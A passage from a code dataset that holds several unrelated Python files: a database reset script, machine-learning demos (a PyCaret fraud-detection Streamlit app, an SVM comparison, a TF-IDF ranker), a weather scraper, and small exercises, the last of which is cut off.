Dados/arvores/treeNode.py","file_name":"treeNode.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"22302651738","text":"\"\"\" Drop and recreate the entire database\"\"\"\n\nimport asyncio\nimport logging\nimport sys\n\nfrom src.models import Base\nfrom src.utils.database import connection\n\nlogger = logging.getLogger(__name__)\n\n\nasync def main() -> None:\n engine = connection.engine\n\n async with engine.begin() as db:\n logger.info(\"Cleaning up the database\")\n await db.run_sync(Base.metadata.drop_all)\n\n logger.info(\"Recreating the database\")\n await db.run_sync(Base.metadata.create_all)\n\n\nif __name__ == \"__main__\":\n if sys.platform == \"win32\":\n asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())\n\n asyncio.run(main())\n","repo_name":"ashesh705/hungry-bear-api","sub_path":"scripts/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"35954635838","text":"# coding: utf-8\nfrom neural_network import NeuralNetwork\n\nfeatures = [[0, 1, 0], [0, 0, 1], [1, 0, 0], [1, 1, 0], [1, 1, 1]]\nlabels = [[1, 0, 0, 1, 1]]\n\nnetwork = NeuralNetwork()\nnetwork.train(features, labels)\n\nnew_value = [[0, 0, 0]]\nresult = network.predict(new_value)\n\nprint(\"result is {:.10f}\".format(result[0]))","repo_name":"miholeus/simple-neural-network","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"14444118164","text":"# version 2020-09-29\r\n# changed imbalance to false as default\r\nimport streamlit as st\r\nimport matplotlib.pyplot as plt\r\nfrom helpers2 import load_data, describe_sample, createmodel, createmodelmcc, predict, unseendata, final, savemodel\r\nimport os \r\nimport pycaret.classification as cl\r\nimport pandas as pd\r\n\r\n#from google.cloud import storage\r\n#st.set_option('deprecation.showPyplotGlobalUse', False)\r\nst.set_option('deprecation.showfileUploaderEncoding', False)\r\n\r\ndef main(): \r\n \r\n#st.subheader(\"Login Section\")\r\n#login = st.button(\"Login\") \r\n#if login:\r\n#username = st.sidebar.text_input(\"User Name\")\r\n#password = st.sidebar.text_input(\"Password\",type='password')\r\n\r\n#login = st.sidebar.button(\"Login\") \r\n#if login:\r\n#if st.sidebar.checkbox(\"Login\"):\r\n# create_usertable()\r\n# hashed_pswd = make_hashes(password)\r\n# result = login_user(username,check_hashes(password,hashed_pswd))\r\n\r\n # if result:\t\r\n #st.success('Logged in as: {}'.format(username))\r\n\r\n global model \r\n global tuned_model \r\n \r\n st.sidebar.markdown('Upload training data as a csv file with utf-8 encoding. The data is cleaned: Duplicates are dropped. Missing values are replaced with the mode (for categorical variables) or median (for continuous variables) on a column-by-column basis. Non-numerical variables are encoded (e.g., categorical variables with strings) with numerical equivalents. Target column used for training is Class. ') \r\n link = '[Test dataset to download](https://drive.google.com/file/d/1fcrUwR-UerSPK80_RXXGcFrz7A4rMzMS/view?usp=sharing)'\r\n st.sidebar.markdown(link, unsafe_allow_html=True)\r\n file_upload = st.sidebar.file_uploader(\"Upload csv file for predictions\", type=\"csv\")\r\n \r\n b = st.sidebar.slider(\"Percent to use for training\", 0, 90, 80) # 👈 Changed this\r\n percent = (b/100)\r\n st.sidebar.markdown('Train the model with stratified cross validation. Select number of folds to use. Reducing the number of folds will improve the training time.')\r\n numfolds = st.sidebar.slider(\"Number of folds\", 0, 20, 7) \r\n numfolds = int(numfolds)\r\n #st.write(\"Percent:\", b)\r\n #st.write(\"Percent:\", percent)\r\n #st.sidebar.info('This app is created to predict credit fraud')\r\n\r\n st.title(\"Train and evaluate a model for Credit fraud Prediction\")\r\n\r\n if file_upload is not None:\r\n data = load_data(file_upload) \r\n # kolla storleken pÃ¥ filen\r\n # ställ in konfigurering beroende pÃ¥ storlek pÃ¥ filen antal rader och kolumner\r\n # eller hur stor filen är i mb ?\r\n # om filen är < 5000 rader, 20 kolumner kör max inställningar\r\n # över 5000 < 10 000 använd endel av inställningarna \r\n #st.write('Data for Modeling: ' + str(data_train.shape)) \r\n #st.write(data)\r\n st.markdown('''### Cleaned dataset''')\r\n size = data.memory_usage(deep=True).sum()\r\n st.markdown('''size in Mb''')\r\n st.write(size/1000000)\r\n st.dataframe(data.head(10)) \r\n datashape = ('Cleaned dataset (rows, columns): ' + str(data.shape))\r\n st.write(datashape) \r\n \r\n described_sample = describe_sample(data) # input into streamlit object: ✅\r\n st.markdown('''### Describe the dataset''')\r\n st.write(described_sample)\r\n\r\n normalise = st.sidebar.radio(\"Normalize the data?\", ('Yes', 'No'))\r\n if normalise == 'Yes':\r\n opti = True \r\n else:\r\n opti = False\r\n\r\n normalisemet = st.sidebar.radio(\"Normalize method\", ('zscore', 'minmax', 'maxabs', 'robust')) \r\n\r\n tranzform = st.sidebar.radio(\"Transform the data? A power transformation is applied to make the data more normal / Gaussian-like\", ('Yes', 'No'))\r\n if tranzform == 'Yes':\r\n tranz = True \r\n else:\r\n tranz = False\r\n\r\n lowvar = st.sidebar.radio(\"Ignore low variance?\", ('Yes', 'No'))\r\n if lowvar == 'No':\r\n inglowvar = False \r\n else:\r\n inglowvar = True\r\n\r\n imbalance = st.sidebar.radio(\"Fix imbalance?\", ('Yes', 'No'))\r\n if imbalance == 'No':\r\n imb = False \r\n else:\r\n imb = True\r\n\r\n featur = st.sidebar.radio(\"Feature interaction. Create new features by interacting (a * b) for all numeric variables in the dataset including polynomial and trigonometric features\", ('No', 'Yes'))\r\n if featur == 'No':\r\n featureinter = False \r\n else:\r\n featureinter = True\r\n\r\n featureratio = st.sidebar.radio(\"Feature ratio? Create new features by calculating the ratios (a / b) of all numeric variables in the dataset.\", ('No', 'Yes'))\r\n if featureratio == 'No':\r\n fratio = False \r\n else:\r\n fratio = True \r\n\r\n polynom = st.sidebar.radio(\"Create polynominal features?\", ('No', 'Yes'))\r\n if polynom == 'No':\r\n polyf = False \r\n else:\r\n polyf = True \r\n\r\n polydeg = st.sidebar.slider(\"Degree of features (if degrees is more than 2 set Create polynominal features = No to avoid errors)\", 0, 5, 2) \r\n polydeg = int(polydeg)\r\n trigo = st.sidebar.radio(\"Create trigonometric features?\", ('No', 'Yes'))\r\n if trigo == 'No':\r\n trigf = False \r\n else:\r\n trigf = True \r\n\r\n futureselect = st.sidebar.radio(\"Drop features based on permutation importance techniques including Random Forest, Adaboost and Linear correlation with target variable? Default treshold 0.8.\", ('Yes', 'No'))\r\n if futureselect == 'Yes':\r\n futsel = True \r\n else:\r\n futsel = False\r\n\r\n tunemodel = st.sidebar.radio(\"Tune the model?\", ('No', 'Yes'))\r\n\r\n if st.checkbox(\"Train a model\"):\r\n exp_clf102 = cl.setup(data = data, target = 'Class', session_id=123,\r\n html = False, \r\n normalize = opti, \r\n normalize_method = normalisemet, \r\n transformation = tranz,\r\n polynomial_features = polyf,\r\n polynomial_degree = polydeg, \r\n #polynomial_degree = 4,\r\n trigonometry_features = trigf,\r\n ignore_low_variance = inglowvar,\r\n remove_multicollinearity = True,\r\n multicollinearity_threshold = 0.9, \r\n train_size = percent,\r\n profile = False,\r\n fix_imbalance = imb, \r\n feature_selection = futsel,\r\n feature_interaction = featureinter,\r\n feature_ratio = fratio,\r\n #sampling=False, \r\n silent=True,\r\n log_experiment = False,\r\n log_data = False\r\n )\r\n\r\n if tunemodel == 'Yes':\r\n model = createmodel(numfolds)\r\n model = createmodelmcc(model, numfolds) \r\n else: \r\n model = createmodel(numfolds)\r\n st.markdown('''### Model performance''')\r\n st.markdown('The model are scored using stratified cross validation on the test set and evaluated with the 7 most commonly used classification metrics (Accuracy, AUC, Recall, Precision, F1, Kappa and MCC).') \r\n compare_cv_results = (cl.get_config('display_container')[-1])\r\n st.dataframe(compare_cv_results) \r\n\r\n \r\n \r\n st.markdown('''### Transformed dataset''')\r\n st.markdown('''When clicking the transformed dataset button the table shows the data after it has been transformed according to the configuration in the left sidebar. This shows the data that will be split in to train, test and an hold out set''')\r\n \r\n if st.checkbox(\"Look at the Transformed dataset\"):\r\n transformed_data = cl.get_config('X') \r\n st.dataframe(transformed_data.head(10)) \r\n shape = ('Transformed data (rows, columns): ' + str(transformed_data.shape))\r\n st.write(shape)\r\n\r\n button_aucroc = st.button(\"Plot AUC-ROC curve\") \r\n\r\n st.markdown('''### AUC-ROC Curve on test set''')\r\n st.markdown('''AUC-ROC curve is a performance measurement for classification problem at various thresholds settings. ROC, Receiver Operating Characteristic curve is a probability curve and AUC, Area Under Curve represents degree or measure of separability. It tells how much model is capable of distinguishing between classes. Higher the AUC, better the model is at predicting 0s as 0s and 1s as 1s. By analogy, Higher the AUC, better the model is at distinguishing between patients with disease and no disease. The ROC curve is plotted with TPR against the FPR where TPR is on y-axis and FPR is on the x-axis.''') \r\n \r\n if button_aucroc:\r\n #fig = cl.plot_model(model, plot='auc')\r\n #st.pyplot(plot_model(model, plot='auc'))\r\n #st.pyplot(fig)\r\n fig = cl.plot_model(model, plot = 'auc', save=True)\r\n st.image('./AUC.png')\r\n\r\n button_pr = st.button(\"Plot PR curve\") \r\n \r\n st.markdown('''### Precision-Recall Curve''')\r\n st.markdown('''Precision is a ratio of the number of true positives divided by the sum of the true positives and false positives. It describes how good a model is at predicting the positive class on the test set. Precision is referred to as the positive predictive value. Reviewing both precision and recall is useful in cases where there is an imbalance in the observations between the two classes. Specifically, there are many examples of no event (class 0) and only a few examples of an event (class 1).''')\r\n \r\n if button_pr:\r\n xgbpr = cl.plot_model(model, plot='pr', save=True) \r\n st.image('./Precision Recall.png')\r\n\r\n button_confusion = st.button(\"Plot Confusion matrix\") \r\n if button_confusion: \r\n xgbconf = cl.plot_model(model, plot='confusion_matrix', save=True)\r\n st.image('./Confusion Matrix.png')\r\n\r\n button_classerr = st.button(\"Plot Class Prediction Error\") \r\n if button_classerr: \r\n st.markdown('''## Class Prediction Error on test set''') \r\n err = cl.plot_model(model, plot='error', save=True)\r\n st.image('./Prediction Error.png')\r\n\r\n button_learning = st.button(\"Plot Learning curve\") \r\n if button_learning: \r\n learning = cl.plot_model(model, plot='learning', save=True)\r\n st.image('./Learning Curve.png')\r\n\r\n button_feature = st.button(\"Plot Feature importance\") \r\n if button_feature: \r\n learning = cl.plot_model(model, plot='feature', save=True)\r\n st.image('./Feature Importance.png')\r\n\r\n button_unseen = st.button(\"Predict on unseen data\") \r\n if button_unseen: \r\n data_unseen = unseendata(data)\r\n #unseen_predictions=\"\"\r\n unseen_predictions = predict(model, data_unseen)\r\n st.markdown('''## Predict on unseen data''')\r\n st.markdown('This is 10% of the original data which was never exposed to training or validation')\r\n st.markdown('The last three columns shows: the original Class flagged for fraud 1, or no fraud 0, Label is the prediction of the class. Score is probability of positive outcome.')\r\n st.dataframe(unseen_predictions) \r\n shape = ('Unseen data (rows, columns): ' + str(unseen_predictions.shape))\r\n st.write(shape) \r\n savedfromfraud = unseen_predictions.loc[unseen_predictions['Label'] == '1', 'amount'].sum()\r\n savedamount = ('Amount saved (USD): ' + str(savedfromfraud))\r\n st.write(savedamount) \r\n #st.write(savedfromfraud) \r\n #savedfromfraud \r\n\r\n button_finalize = st.button(\"Save finalized model\")\r\n if button_finalize:\r\n link = savemodel(model)\r\n #st.write(saved_model)\r\n #import time\r\n #timestr = time.strftime(\"%Y%m%d-%H%M%S\")\r\n #File_name = 'prod'\r\n #directory_to_save_to = 'models' # change this if the folder has another name\r\n #name_of_file_to_save = File_name + '_new_' + timestr\r\n #cl.save_model(model, name_of_file_to_save)\r\n #st.write(cl.save_model(model, name_of_file_to_save))\r\n\r\n st.markdown('Download the finalized model') \r\n link2 = '[Test dataset to download](link)'\r\n st.markdown(link, unsafe_allow_html=True)\r\n\r\n #else:\r\n # st.warning(\"Incorrect Username/Password\")\r\n","repo_name":"ulfsv/streamlitapp1","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":13807,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"12720947063","text":"from .hf_bert import wrap_hf_bert\nfrom .hf_bert import load_hfbert_model\n\nBUILTIN_HF_BERT = \"bert\"\nBUILTIN_LM_MODELS = [\n \"bert\", \"roberta\", \"albert\", \"camembert\", \"ernie\", \"ibert\", \"luke\", \"mega\", \"mpnet\", \"nezha\", \n \"qdqbert\",\"roc_bert\"]\n\ndef init_lm_model(lm_config, num_train=0, lm_infer_batch_size=16, profile=False):\n \"\"\" Init language model\n\n Parameters\n ----------\n lm_config: dict\n Language model config.\n num_train: int\n Number of trainable texts.\n lm_infer_batch_size: int\n Batch size used in lm model inference\n profile: bool\n If True, provide LM forward/backward profiling.\n\n Return\n ------\n\n \"\"\"\n lm_model_type = lm_config[\"lm_type\"]\n if lm_model_type in BUILTIN_LM_MODELS:\n bert_model = load_hfbert_model(lm_config)\n lm_model = wrap_hf_bert(bert_model, num_train, lm_infer_batch_size, profile)\n else:\n assert lm_model_type in BUILTIN_LM_MODELS, \\\n f\"Unsupported builtin language model {lm_model_type}\"\n\n return lm_model\n\ndef get_lm_node_feats(g, lm_model, lm_ntypes):\n \"\"\" Collect language model related node features\n\n Parameters\n ----------\n g: graph\n Graph data.\n lm_model: xxx\n GS language model wrapper.\n lm_ntypes: list of str\n A list of node types.\n\n Return\n ------\n A dict of dict of distributed tensor.\n {Node type: {Feature name: Feature stored as distributed tensor}}\n \"\"\"\n lm_feat_names = lm_model.lm_fnames\n lm_feats = {}\n for ntype in lm_ntypes:\n lm_feats[ntype] = {}\n for lm_fname in lm_feat_names:\n if lm_fname in g.nodes[ntype].data:\n lm_feats[ntype][lm_fname] = g.nodes[ntype].data[lm_fname]\n\n return lm_feats\n","repo_name":"awslabs/graphstorm","sub_path":"python/graphstorm/model/lm_model/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1761,"program_lang":"python","lang":"en","doc_type":"code","stars":297,"dataset":"github-code","pt":"67"} +{"seq_id":"38491623262","text":"def verificaPrimo (x):\r\n cont = 0\r\n for i in range(1,x+1):\r\n if x%i == 0:\r\n cont += 1\r\n return cont\r\n\r\ndef tf (cont):\r\n if cont <= 2:\r\n return True\r\n else:\r\n return False\r\n\r\nx = int(input('digite um valor para x: '))\r\ncont = verificaPrimo(x)\r\nresposta = tf(cont)\r\nprint(resposta)\r\n","repo_name":"arthurvtl/funcoes-py","sub_path":"8.py","file_name":"8.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"35253376980","text":"# class CarAlreadyParkedError(Exception):\n# ...\n\n\n# class SpotAlreadyTakenError(Exception):\n# ...\n\n\nclass CarAlreadyParkedError(Exception):\n def __init__(\n self, message=None, status_code=409, spot=\"not informed\", plate=\"not informed\"\n ):\n\n if not message:\n self.message = f\"Plate {plate} already parked in {spot}\"\n else:\n self.message = message\n\n self.status_code = status_code\n\n\nclass SpotAlreadyTakenError(Exception):\n def __init__(self, message=None, status_code=409, spot=\"not informed\"):\n\n if not message:\n self.message = f\"Spot {spot} already taken!!\"\n else:\n self.message = message\n\n self.status_code = status_code\n\n\nclass InvalidPlateError(Exception):\n def __init__(self, message=None, status_code=400):\n\n if not message:\n self.message = f\"Plate must be in format AAA-1111\"\n else:\n self.message = message\n\n self.status_code = status_code\n","repo_name":"Kenzie-Academy-Brasil-Developers/q3-demos-turma8","sub_path":"sprint3/demo4/app/exceptions/car_exc.py","file_name":"car_exc.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"35720654260","text":"#luokittelu\n#tukivektorikone\nimport numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import svm\nfrom sklearn.metrics import confusion_matrix, accuracy_score\n\n#data\ndata = pd.read_csv('framingham.csv')\n\n#datan katsastelua\nprint(f\"datan puuttuvat arvot: {data.isnull().sum()}\")\ndata = data.dropna()\n\ndata_y = data['TenYearCHD']\ndata_X = data.loc[:, data.columns != 'TenYearCHD']\n\n#Datan jakaminen opetus- ja testidataan - 25% testiin\nX_train, X_test, Y_train, Y_test = train_test_split(data_X, \n data_y, \n test_size=0.25, \n random_state=72)\n\n#tehdään aliit ja opetetaan ne\nmalli01 = svm.SVC(kernel='linear', C=1.0)\nmalli02 = svm.SVC(kernel='poly', gamma='scale', C=1.0, coef0=0)\nmalli03 = svm.SVC(kernel='poly', gamma='scale', C=1.5, coef0=0)\nmalli04 = svm.SVC(kernel='poly', gamma='scale', C=0.01, coef0=0)\n\n#opetetaan mallit\nmalli01.fit(X_train, Y_train)\nmalli02.fit(X_train, Y_train)\nmalli03.fit(X_train, Y_train)\nmalli04.fit(X_train, Y_train)\n\n#tehdään ennusteet testidatalle\ny_pred01 = malli01.predict(X_test)\ny_pred02 = malli02.predict(X_test)\ny_pred03 = malli03.predict(X_test)\ny_pred04 = malli04.predict(X_test)\n\n#ennustuksien tarkuudet\nprint(f\"Mallin 01 tarkkuus: {round(accuracy_score(Y_test, y_pred01),4)}\")\nprint(confusion_matrix(Y_test, y_pred01))\n\nprint(f\"Mallin 02 tarkkuus: {round(accuracy_score(Y_test, y_pred02),4)}\")\nprint(confusion_matrix(Y_test, y_pred02))\n\nprint(f\"Mallin 03 tarkkuus: {round(accuracy_score(Y_test, y_pred03),4)}\")\nprint(confusion_matrix(Y_test, y_pred03))\n\nprint(f\"Mallin 04 tarkkuus: {round(accuracy_score(Y_test, y_pred04),4)}\")\nprint(confusion_matrix(Y_test, y_pred04))","repo_name":"eemeligustafsson/LearningWithRandPY","sub_path":"paatospuut,satumetsa&tukivektori/TukiVektorikone.py","file_name":"TukiVektorikone.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12673514287","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# @Author : Charles\r\n# @Time : 2018/9/19 16:09\r\n# @Email : wcadaydayup@163.com\r\n# @File : weather.py\r\n# @TODO : 从中国天气网抓取咸阳机场历史以及未来七天的天气数据\r\n\r\n\r\nimport datetime\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\nimport pandas as pd\r\nfrom pandas.core.frame import DataFrame\r\n\r\n\r\nclass WeatherDataCrawl:\r\n def __init__(self):\r\n self.history_index_url = \"http://lishi.tianqi.com/xianyang/index.html\"\r\n self.future_7days_url = \"http://www.weather.com.cn/weather/101110200.shtml\"\r\n\r\n def get_url(self):\r\n # 获取所有月份的url\r\n html = requests.get(self.history_index_url).text\r\n soup = BeautifulSoup(html, 'lxml') # 解析文档\r\n all_li = soup.find('div', class_='tqtongji1').find_all('li')\r\n url_list = []\r\n for li in all_li:\r\n url_list.append([li.get_text(), li.find('a')['href']])\r\n return url_list\r\n\r\n def get_month_weather(self, year_number, month_number):\r\n \"\"\"\r\n 获取某年某月的天气数据\r\n :param year_number:\r\n :param month_number:\r\n :return:\r\n \"\"\"\r\n url_list = self.get_url()\r\n month_url = \"\"\r\n for i in range(len(url_list) - 1, -1, -1):\r\n year_split = int(url_list[i][0].encode('utf-8')[:4])\r\n month_split = int(url_list[i][0].encode('utf-8')[7:9])\r\n if year_split == year_number and month_split == month_number:\r\n month_url = url_list[i][1]\r\n\r\n if not month_url:\r\n print(\"未取得{}年{}月的历史数据页面。\".format(year_number, month_number))\r\n return None\r\n\r\n html = requests.get(month_url).text\r\n soup = BeautifulSoup(html, 'lxml') # 解析文档\r\n all_ul = soup.find('div', class_='tqtongji2').find_all('ul')\r\n month_weather = []\r\n for i in range(1, len(all_ul)):\r\n ul = all_ul[i]\r\n\r\n # 將每一天的天气数据以字典存储\r\n # lis = ul.find_all('li')\r\n # weather = {\r\n # \"date\": lis[0].get_text(),\r\n # \"wea\": lis[1].get_text(),\r\n # \"high_tem\": lis[2].get_text(),\r\n # \"low_tem\": lis[3].get_text(),\r\n # \"wind_d\": lis[4].get_text(),\r\n # \"wind_l\": lis[5].get_text(),\r\n # }\r\n\r\n # 将每一天的数据以list存储\r\n li_list = []\r\n for li in ul.find_all('li'):\r\n li_list.append(li.get_text())\r\n\r\n month_weather.append(li_list)\r\n return month_weather\r\n\r\n def get_year_weather(self, year_number):\r\n year_weather = []\r\n for i in range(12):\r\n month_weather = self.get_month_weather(year_number, i + 1)\r\n if not month_weather:\r\n break\r\n year_weather.extend(month_weather)\r\n print('%d 年第%d月天气数据采集完成,望您知悉!' % (year_number, i + 1))\r\n col_name = ['Date', 'Max_Tem', 'Min_Tem', 'Weather', 'Wind', 'Wind_Level']\r\n result_df = pd.DataFrame(year_weather)\r\n result_df.columns = col_name\r\n result_df.to_csv('{}.csv'.format(year_number))\r\n return result_df\r\n\r\n def get_future_7days(self):\r\n \"\"\"\r\n 抓取未来七天咸阳机场的天气数据\r\n :return:\r\n \"\"\"\r\n today = datetime.datetime.now()\r\n response = requests.get(self.future_7days_url)\r\n response.encoding = \"utf-8\"\r\n soup = BeautifulSoup(response.text, 'lxml') # 解析文档\r\n all_ul = soup.find('div', id='7d').find_all('ul')\r\n weathers = []\r\n delta = 0\r\n for li in all_ul[0].find_all('li'):\r\n str_date = (today + datetime.timedelta(days=delta)).strftime(\"%Y-%m-%d\")\r\n ps = li.find_all('p')\r\n weather = {\"DATE\": str_date}\r\n for p in ps:\r\n if p[\"class\"][0] == \"wea\":\r\n weather[\"WEATHER\"] = p.get_text().strip()\r\n elif p[\"class\"][0] == \"tem\":\r\n temp_list = p.get_text().split(\"/\")\r\n weather[\"TEMP_H\"] = temp_list[0].strip().replace(\"℃\", \"\")\r\n weather[\"TEMP_L\"] = temp_list[-1].strip().replace(\"℃\", \"\")\r\n elif p[\"class\"][0] == \"win\":\r\n weather[\"WIND_D\"] = p.find(\"span\")[\"title\"]\r\n weather[\"WIND_L\"] = p.get_text().strip()\r\n weathers.append(weather)\r\n delta += 1\r\n return weathers\r\n\r\n\r\ndef get_xianyang_history_weather():\r\n \"\"\"\r\n 抓取咸阳机声2018年前6个月的天气数据\r\n :return:\r\n \"\"\"\r\n weather_result = []\r\n weather_result.append([\"DATE\", \"TEMP_H\", \"TEMP_L\", \"WEATHER\", \"WIND_D\", \"WIND_L\"])\r\n crawl = WeatherDataCrawl()\r\n for i in range(1, 7):\r\n weather_result += crawl.get_month_weather(2018, i)\r\n\r\n df = DataFrame(weather_result)\r\n df.to_csv(\"data//咸阳历史天气数据(201801-201806).csv\")\r\n\r\n\r\nif __name__ == '__main__':\r\n crawl = WeatherDataCrawl()\r\n future_7days_weather = crawl.get_future_7days()\r\n\r\n print(\"未来7天咸阳机场的天气是: \")\r\n for weather in future_7days_weather:\r\n print(weather)\r\n","repo_name":"amazingcoder666/FlightDelay","sub_path":"weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":5296,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"16289049281","text":"\"\"\"\nEjercicio 4:\nPedir una edad y un estado civil, si la edad es menor a 18 años y el estado civil\ndistinto a \"Soltero\", mostrar el siguiente mensaje: 'Es muy pequeño para NO\nser soltero.'\n\"\"\"\n\n\nedad=int(input(\"ingresa tu edad: \"))\nwhile edad < 1 or edad >100:\n edad=int(input(\"Error ingresa una edad correcta por favor: \"))\n \necivil=input(\"Ingresa tu estado civil s/ soltero | c/ casado\")\nwhile ecivil not in [\"s\",\"c\"]:\n ecivil=input(\"Error ingresa tu estado civil s/ soltero | c/ casado\")\n \n \nif edad < 18 and ecivil==\"c\" :\n print(\"Eres muy chico para no estar soltero\")","repo_name":"Edcsjr/pythonGuia","sub_path":"Ejercicio-4.py","file_name":"Ejercicio-4.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30590915646","text":"import glob\r\nimport lib as lb\r\n\r\n\r\n'''preprocessing the text then tokenize it '''\r\nprocessed_text=[]\r\nfor file in glob.glob(\"*.txt\"): #make sure that documents are in the same folder with this py file\r\n print(file)\r\n fname = file\r\n file = open(file , \"r\")\r\n text = file.read().strip()\r\n file.close()\r\n \r\n processed_text.append(lb.word_tokenize(str(lb.preprocess(text))))\r\n \r\n \r\n'''docs converted to uniqe sets of words'''\r\nunique_text = []\r\nfor lis in processed_text:\r\n unique_text.append(set(lis))\r\n\r\n\r\n'''document freq of every word in the collection of docs'''\r\nn = len(processed_text) #or len(unique_text)\r\ndf = {}\r\nfor i in range(n):\r\n tokens = unique_text[i]\r\n for w in tokens:\r\n if w in df.keys() : \r\n df[w] = df[w]+1\r\n else:\r\n df[w] = 1\r\n \r\n \r\n \r\nnum_vocabs = len(df)\r\nall_vocab = [x for x in df] #list of all words in the collection of docs \r\n\r\n'''for each doc, calculate tf_idf of each one of its words'''\r\ndoc = 0\r\ntf_idf = {} \r\n# tf_idf will look like this { doc no. : [(word,score) , (word,score) ,....] }\r\n# { _ key _ : ___________ v a l u e s ___________ }\r\n\r\nfor i in range(n):\r\n tokens = processed_text[i]\r\n tok_counts = lb.Counter(tokens) #count of each word in the list (the doc)\r\n # print(tok_counts)\r\n for token in set(tokens): # for each word in the doc \r\n tf = 1 + lb.np.log(tok_counts[token]) # 1 + log ( tf )\r\n df1 = df[token] # get df for the word \r\n idf = lb.np.log((n)/(df1)) # calculate idf for the word log ( no of docs / word's doc freq )\r\n \r\n if doc in tf_idf.keys():\r\n tf_idf[doc].append( (token,tf*idf) )\r\n else:\r\n tf_idf[doc] = [(token,tf*idf)]\r\n \r\n doc += 1\r\n \r\n\r\nprint(\"enter your query : \")\r\nquery = input()\r\nprint()\r\nquery = lb.word_tokenize(str(lb.preprocess(query))) #preprocessing query then tokenize it \r\n\r\n'''calculate tf_idf of each word in the query'''\r\ntf_idf_q = {} # tf_idf_q will look like this { \"query\" : [(word,score) , (word,score) ,....] }\r\n\r\ntok_counts_q = lb.Counter(query) #count of each word in the query\r\n# print(tok_counts_q)\r\nfor token_q in set(query):\r\n tf = 1 + lb.np.log(tok_counts_q[token_q]) # 1 + log ( tf )\r\n if token_q in df.keys(): # if the word is in one of the docs: ok ,else 0\r\n df1 = df[token_q] # get df for the word\r\n idf = lb.np.log((n)/(df1)) # calculate idf for the word\r\n else :\r\n idf= 0\r\n \r\n if \"query\" in tf_idf_q.keys():\r\n tf_idf_q[\"query\"].append( (token_q,tf*idf) )\r\n else:\r\n tf_idf_q[\"query\"] = [(token_q,tf*idf)]\r\n \r\n \r\n#remark: tf_idf = { doc no. : [(word,score) , (word,score) ,....] } \r\n# { - key - : --------- v a l u e s ------------- }\r\n# tf_idf_q={ \"query\" : [(word,score) , (word,score) ,....] }\r\n\r\nfinal_res = {}\r\n\r\n# final_res will look like this :\r\n#{ (doc no. , word) : (doc no. ,word score in doc , word score in query ,word score in doc*word score in query ) }\r\n#{ ----- key ----- : ---------------------------------- v a l u e s ------------------------------------------- }\r\n\r\ndoc=0\r\nfor val in tf_idf.values():\r\n for tup in val:\r\n for i in range(len(tf_idf_q[\"query\"])): # no. of loops = no. of query words\r\n if tf_idf_q[\"query\"][i][0] in tup : # if the query word is in that doc :\r\n final_res[(doc,tup[0])] = (doc,tup[1],tf_idf_q[\"query\"][i][1],tup[1]*tf_idf_q[\"query\"][i][1])\r\n doc+=1\r\n \r\n\r\n\r\nsimilarity={}\r\ntemp = 0.0000000000001 \r\nfor i in final_res.keys() : #get the tuple i, i = (doc no,word)\r\n if i[0] in similarity.keys(): \r\n similarity[i[0]]+=final_res[i][3] #if the doc no. was already a key of similarity dict. , add-up the score of all its words\r\n similarity[i[0]]+=temp\r\n else :\r\n similarity[i[0]]=final_res[i][3]\r\n similarity[i[0]]+=temp\r\n temp+=0.0000000000001\r\n\"\"\"next we will swap similarity dictionary keys by its values , so if two keys have the same values\r\nthe dictionary will add one of them as the new key and discard the other , so we add a very small\r\nvalue -that doesn't make a difference- to the similarity dictionary values before swapping\"\"\"\r\n\r\nfinal_rank = dict(zip(similarity.values(),similarity.keys())) #swapping\r\nfinal_rank = lb.OrderedDict(sorted(final_rank.items(), reverse=True))\r\n\r\nrank = 1\r\nfor k, v in final_rank.items():\r\n print(\"rank: \",rank,\" doc: \", v, \" score: \",round(k,4))\r\n print()\r\n print(\" \".join(processed_text[v]))\r\n print()\r\n print()\r\n rank+=1\r\n\r\n\r\n\r\n \r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"mohd-omari/ltn.ltn-RankedRetrival","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2767904161","text":"'''\r\nCreated on Oct 12, 2019\r\n\r\n@author: Umang Bhatia\r\n'''\r\n\r\nstuff = {'rope': 1, 'torch': 6, 'gold coin': 42, 'dagger': 1, 'arrow': 12}\r\ndragon_loot = ['gold coin', 'dagger', 'gold coin', 'gold coin', 'ruby']\r\n\r\ndef displayInventory(inventory):\r\n print('Inventory: ')\r\n total_items = 0\r\n \r\n for item,count in inventory.items():\r\n print(str(count) + ' ' + item)\r\n total_items += count\r\n \r\n print('Total number of items: ' + str(total_items))\r\n\r\ndef addToInventory(inventory, addedItems):\r\n for each_item in addedItems:\r\n inventory[each_item] = addedItems.count(each_item)\r\n \r\naddToInventory(stuff, 